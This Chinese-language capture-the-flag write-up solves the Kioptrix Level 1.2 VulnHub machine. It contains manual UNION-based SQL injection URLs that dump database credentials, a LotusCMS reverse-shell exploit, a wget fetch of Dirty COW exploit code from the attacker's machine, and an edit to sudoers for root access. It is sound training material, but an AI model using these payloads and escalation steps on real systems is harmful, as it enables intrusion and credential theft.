靶场搭建

kali IP地址:192.168.102.128

靶机IP地址:192.168.102.130

下载地址:https://www.vulnhub.com/entry/kioptrix-level-12-3,24/

下载后解压,使用vmware打开虚拟机即可。

kali或者你利用本机测试的话要配置hosts文件,这样访问kioptrix3.com就会解析到你靶机的ip地址。

在 Windows 下,您可以编辑C:\Windows\System32\drivers\etc\hosts使其看起来像这样:
# localhost name resolution is handled within DNS itself.
#   127.0.0.1 localhost
#   ::1 localhost127.0.0.1 static3.cdn.ubi.com
[靶机ip地址] kioptrix3.com
在 Linux 下,该地址为/etc/hosts

漏洞探测&利用

利用fscan2进行ip段扫描和端口扫描如下:

通过探测发现靶机ip为192.168.102.130,开放端口为22,80端口

SQL注入漏洞

访问80端口

点击Photo ip后会发现URL会出现id参数

利用 进行尝试发现出现报错语句报错,并且是整数型报错。

这里直接利用sqlmap进行获取数据库信息:

三个数据库:information_schema、gallery、mysql
当前数据库:gallery
gallery数据库中的表:dev_accounts,gallarific_comments,gallarific_galleries,gallarific_photos,gallarific_settings,gallarific_stats,gallarific_users

通过sqlmap获取dev_accounts和gallarific_users表中的信息

gallarific_users表:利用admin/n0t7t1k4c尝试登录网站后台登录失败。

dev_accounts表:获取两个账号密码dreg/Mast3r、 loneferret/starwars,这两个账号登录网站后台也不成功,但是尝试连接ssh两个账号都可以连接登录ssh。

手工注入语句:

查看有多少列:
http://kioptrix3.com/gallery/gallery.php?id=1 order by  6 --+ &sort=photoid#photos
查看显示位:
http://kioptrix3.com/gallery/gallery.php?id=-1 union select 1,2,3,4,5,6 --+ &sort=photoid#photos
查所有库:
http://kioptrix3.com/gallery/gallery.php?id=-1 union select 1,(select group_concat(schema_name,',') from information_schema.schemata),3,4,5,6 --+ &sort=photoid#photos
查表:
http://kioptrix3.com/gallery/gallery.php?id=-1 union select 1,database(),(select group_concat(table_name,', ') from information_schema.tables where table_schema = database()),4,5,6 --+ &sort=photoid#photos
查字段
http://kioptrix3.com/gallery/gallery.php?id=-1 union select 1,database(),(select group_concat(column_name,',') from information_schema.columns where table_name='dev_accounts'),4,5,6 --+ &sort=photoid#photos
http://kioptrix3.com/gallery/gallery.php?id=-1 union select 1,database(),(select group_concat(column_name,',') from information_schema.columns where table_name='gallarific_users'),4,5,6 --+ &sort=photoid#photos
字段信息
http://kioptrix3.com/gallery/gallery.php?id=-1 union select 1,database(),(select group_concat(concat(username,':',password),';') from dev_accounts),4,5,6 --+ &sort=photoid#photos

CMS框架漏洞

通过登录接口查看获取到网站cms为LotusCMS

通过框架搜索历史漏洞通过github获取利用脚本https://github.com/Hood3dRob1n/LotusCMS-Exploit ,通过脚本进行反弹shell。

权限提升

1、利用ht进行权限提升

通过dreg/Mast3r、 loneferret/starwars这两个账号连接ssh,通过翻找和查看,发现loneferret/starwars该账号历史命令中存在sudo ht。

执行sudo ht

注:sudo ht打开后按F3选择打开文件,F2保存,F10退出

按F3输入要打开的文件按回车:/etc/sudoers

打开文件后在loneferret ALL=NOPASSWD: !/usr/bin/su, /usr/local/bin/ht 后面添加/bin/bash

添加后F2保存,F10退出,然后执行sudo /bin/bash,即可获取root权限

2、脏牛提权

查看版本,搜索可用的exp

查看版本:
uname -a 
lsb_release -a
利用搜索可用的exp
searchsploit linux 2.6.24 #查找可用的exp
searchsploit -m 40839.c #获取可用exp

通过LotusCMS历史漏洞获取的反弹shell,下载exp然后在靶机上编译exp.c,然后执行。

攻击机上使用python开启http服务,然后通过靶机使用wget命令进行远程下载exp.c,这里利用的是40839.c

靶机上进行编译并执行:

gcc -pthread 40839.c -o dirty -lcrypt
./dirty 123456 #执行后会生成一个firefart用户,123456是自己设置的密码

最后切换firefart用户输入密码123456

查看已经是root用户了

相关连接

下载地址:

https://www.vulnhub.com/entry/kioptrix-level-12-3,24/

参考地址:

https://mp.weixin.qq.com/s?__biz=Mzk1Nzc0MzY3NA==&mid=2247483879&idx=1&sn=4792551bfb735dc518a7ab0c54062444

https://blog.csdn.net/qq_32261191/article/details/106397958

https://www.cnblogs.com/GuijiH6/p/18607810

https://github.com/Hood3dRob1n/LotusCMS-Exploit